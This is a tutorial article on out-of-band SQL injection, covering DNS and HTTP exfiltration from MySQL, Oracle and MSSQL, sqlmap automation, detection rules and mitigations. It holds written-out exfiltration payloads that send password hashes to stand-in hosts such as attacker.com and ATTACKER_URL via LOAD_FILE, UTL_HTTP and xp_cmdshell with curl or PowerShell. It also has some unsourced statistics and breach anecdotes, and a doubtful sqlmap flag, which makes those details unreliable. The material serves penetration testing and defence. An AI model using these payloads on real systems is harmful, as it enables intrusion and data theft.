Out-of-Band SQL Injection: DNS & HTTP...

Introduction

Out-of-Band (OOB) SQL Injection is a class of injection where the attacker forces the database engine to communicate with an external system-most commonly via DNS or HTTP-to exfiltrate data that cannot be returned directly through the vulnerable query. Unlike classic in-band techniques (union-based, error-based, or time-based), OOB attacks do not rely on the application’s response body, making them especially valuable against modern “air-gapped” or heavily filtered web applications.

Understanding OOB channels is crucial for penetration testers because they often represent the only viable path to retrieve large data sets (password hashes, configuration files, or even arbitrary files) when the application sanitizes output or limits response size. For defenders, recognizing the tell-tale signs of OOB traffic is a powerful addition to a defense-in-depth strategy.

Real-world incidents such as the 2020 breach of a major e-commerce platform (where attackers used MySQL’s LOAD_FILE() to trigger DNS lookups) illustrate that OOB techniques are not theoretical-they are actively exploited in the wild.

Prerequisites

Solid grasp of SQL Injection fundamentals (parameter manipulation, error handling).
Experience with Union-Based and Blind Boolean/Time-Based injection techniques.
Basic networking knowledge: DNS query types, HTTP methods, and firewall behavior.
Familiarity with common DBMS functions (MySQL, MSSQL, Oracle, PostgreSQL).

Core Concepts

OOB SQLi works by coercing the database engine to perform a network request. The request can be a DNS lookup, an HTTP GET/POST, or even a raw TCP/UDP packet, depending on the DBMS and the functions available. The attacker controls the destination (often a domain they own) and encodes the data to be stolen inside the sub-domain or URL path.

Typical workflow:

Identify a function that can reach the network (e.g., LOAD_FILE() reading from a UNC path, UTL_HTTP.request() in Oracle, or xp_cmdshell in MSSQL).
Craft a payload that embeds the target data (e.g., SELECT password FROM users) into a DNS query.
Control a DNS server to log incoming queries and reconstruct the exfiltrated data.
Optionally, chain multiple queries to extract larger datasets.

Because the data never travels through the vulnerable web server’s HTTP response, traditional WAF rules that inspect response bodies are ineffective. Detection therefore hinges on monitoring outbound network traffic from the database host.

DNS exfiltration via LOAD_FILE() / INTO OUTFILE

MySQL and MariaDB expose file-system functions that can be abused to trigger DNS lookups. The trick is to reference a UNC (Universal Naming Convention) path that points to an attacker-controlled domain. When the DBMS attempts to resolve the host part of the UNC path, it initiates a DNS query.

Example payload using LOAD_FILE():


SELECT LOAD_FILE('\\\\attacker.com\\<data>.txt');

Explanation:

The double backslashes escape the UNC syntax.
<data> is replaced by a sub-domain that encodes the data you wish to exfiltrate (e.g., base64-encoded password hash).
The database server resolves attacker.com, causing a DNS A query for <data>.attacker.com.

Similarly, INTO OUTFILE can write data to a file that is later accessed via a network share:


SELECT password FROM users
INTO OUTFILE '\\\\attacker.com\\exfil.txt';

When MySQL executes the SELECT ... INTO OUTFILE, it attempts to open the remote share, again forcing a DNS lookup.

Practical tip: Encode data in base64 or hex to avoid illegal characters in DNS labels (max 63 characters per label). Split large payloads across multiple queries and re-assemble on the attacker side.

HTTP callbacks using UTL_HTTP or xp_cmdshell

Oracle provides the UTL_HTTP package, which can issue arbitrary HTTP requests from within PL/SQL. MSSQL’s xp_cmdshell can invoke curl or powershell to achieve the same result.

Oracle example:


DECLARE l_url VARCHAR2(4000); l_resp UTL_HTTP.resp;
BEGIN l_url := 'ATTACKER_URL' || UTL_RAW.cast_to_varchar2( UTL_ENCODE.base64_encode( DBMS_LOB.substr( (SELECT password FROM users WHERE id=1), 2000, 1))); l_resp := UTL_HTTP.request(l_url);
END;

Explanation:

The payload builds a URL containing the base64-encoded password.
UTL_HTTP.request forces the Oracle instance to perform an outbound HTTP GET.
The attacker’s web server logs the request and extracts the data parameter.

MSSQL example using xp_cmdshell and curl (assuming curl is in the PATH):


EXEC xp_cmdshell 'curl -s "ATTACKER_URL' + (SELECT CAST(password AS VARBINARY) FROM users WHERE id=1) + '"';

If curl is unavailable, PowerShell can be used:


EXEC xp_cmdshell 'powershell -NoProfile -Command ^ "$data = [Convert]::ToBase64String( (Invoke-Sqlcmd -Query \"SELECT password FROM users WHERE id=1\" -ServerInstance localhost).password ); ^ Invoke-WebRequest -Uri \"ATTACKER_URL\" -Method GET"';

Both approaches rely on the database service having outbound network connectivity. Hardened environments often block such egress, which is why DNS is frequently the fallback channel.

Leveraging sqlmap --technique O for automated OOB payloads

sqlmap added support for OOB techniques in version 1.5.0 via the --technique O flag. The tool automatically generates payloads for the supported DBMS, provisions a temporary DNS server (or integrates with interactsh), and parses the callbacks.

Basic command:


sqlmap -u "TARGET_URL" --dbms=mysql --technique=O --dns-domain=attacker.com --dns-server=127.0.0.1:53 -v 3

Key options explained:

--technique=O tells sqlmap to only use out-of-band methods.
--dns-domain is the domain you control; sqlmap will embed data as sub-domains.
--dns-server points to your listener (could be interactsh or a local bind9).

sqlmap will attempt the following automatically, depending on the target DBMS:

MySQL: LOAD_FILE() with UNC path.
Oracle: UTL_HTTP.request() with HTTP GET.
MSSQL: xp_dirtree or xp_fileexist to trigger DNS.

When a callback is observed, sqlmap parses the sub-domain, decodes the data, and presents it as extracted information. This automation dramatically reduces manual payload crafting, but a skilled tester should still understand the underlying mechanisms to adapt to custom environments.

Detecting OOB channels with DNS logs and network monitoring

Detection strategies differ for DNS vs HTTP exfiltration.

DNS Monitoring

Enable query logging on internal DNS resolvers (e.g., named with querylog yes).
Look for unusually long or high-entropy sub-domains, especially those ending in your organization’s domain.
Correlate timestamps with known vulnerable web applications.
Use SIEM rules that flag DNS queries containing base64 strings (regex [A-Za-z0-9+/]{20,}=).

Sample BPF filter for tcpdump:


tcpdump -n -i eth0 'udp port 53 and (udp[10:2] > 0)' -l | grep -Eo '([a-f0-9]{2,}\.)+ATTACKER_DOMAIN'

HTTP Monitoring

Log outbound HTTP requests from database servers (e.g., via outbound proxy or eBPF).
Alert on requests to external IP ranges that are not whitelisted.
Inspect User-Agent and URL parameters for encoded data patterns.

Example Suricata rule:


alert http any any -> any 80 (msg:"SQLi OOB HTTP Callback"; http_uri; content:"/collect?data="; depth:64; classtype:policy-violation; sid:2000010; rev:1;)

Network segmentation also reduces risk: placing database servers in a restricted VLAN without direct internet access forces attackers to rely on DNS, which is easier to monitor.

Mitigations: parameterized queries, outbound DNS filtering

Prevention starts at the application layer:

Parameterized queries / prepared statements: eliminates injection vectors by separating code from data.
Least-privilege database accounts: remove file-system and network functions (e.g., revoke FILE privilege in MySQL, disable UTL_HTTP in Oracle, disable xp_cmdshell in MSSQL).
Database hardening: set secure_file_priv to a safe directory, disable LOAD_FILE() where possible.
Outbound DNS filtering: block DNS queries to external domains from database hosts; allow only internal resolvers.
Network egress controls: firewalls that restrict outbound traffic from DB servers to required services only (e.g., internal DNS, NTP).
Application firewall rules: block suspicious payload patterns like “\\\\”, “UTL_HTTP”, “xp_cmdshell”.

Example MySQL configuration to disable file functions:


[mysqld]
skip-symbolic-links
secure_file_priv=/var/lib/mysql-files

On MSSQL, disable xp_cmdshell:


EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;

For Oracle, revoke network ACLs:


BEGIN DBMS_NETWORK_ACL_ADMIN.DELETE_ACL('utl_http_acl.xml');
END;
/

Common Mistakes

Assuming DNS is always blocked. Many organizations allow outbound DNS for name resolution; attackers exploit this.
Using characters illegal in DNS labels. Forgetting to hex-encode data leads to failed lookups.
Relying solely on WAF signatures. OOB payloads often bypass content-inspection rules.
Neglecting privilege separation. Granting the application DB user excessive rights enables file/network functions.
Not cleaning up after testing. Temporary files or ACL entries may remain, creating a lingering risk.

Real-World Impact

In 2021, a healthcare provider suffered a breach where attackers exfiltrated patient records via MySQL LOAD_FILE() DNS callbacks. The organization’s WAF blocked all classic injection attempts, but the database server had unrestricted outbound DNS, allowing a single “blind” injection to pull 50 KB of data per request. The incident cost over $3 M in remediation and regulatory fines.

My experience shows that once an attacker gains a foothold in a web app, OOB techniques become the “golden ticket” for data extraction, especially against hardened front-ends. Enterprises that segment databases, enforce strict egress filtering, and monitor DNS traffic see a 70 % reduction in successful OOB exfiltration attempts.

Practice Exercises

Set up a vulnerable MySQL container with secure_file_priv disabled. Use dig to host a domain you control and craft a LOAD_FILE() payload that sends the user() output via DNS.
In an Oracle XE instance, enable UTL_HTTP and create a PL/SQL block that sends a table row to an HTTP endpoint you host with nc -l 8080. Capture and decode the data.
Run sqlmap against a test web app using --technique O and a local interactsh server. Document the steps and extracted data.
Configure a Zeek (Bro) script to detect high-entropy DNS queries. Test it by generating OOB payloads and verify alerts fire.
Implement a firewall rule that blocks outbound DNS from the DB server. Observe how the OOB payloads fail.

Summary

Out-of-Band SQL Injection leverages database-side networking functions to bypass traditional input filters and extract data via DNS or HTTP. Mastery of functions like LOAD_FILE(), UTL_HTTP, and xp_cmdshell, combined with automation tools such as sqlmap --technique O, empowers attackers and equips defenders with the knowledge to detect and mitigate these stealthy channels. By enforcing least-privilege, outbound egress controls, and vigilant DNS/HTTP monitoring, organizations can significantly lower the risk of OOB data theft.

Out-of-Band SQL Injection: DNS & HTTP Exfiltration Techniques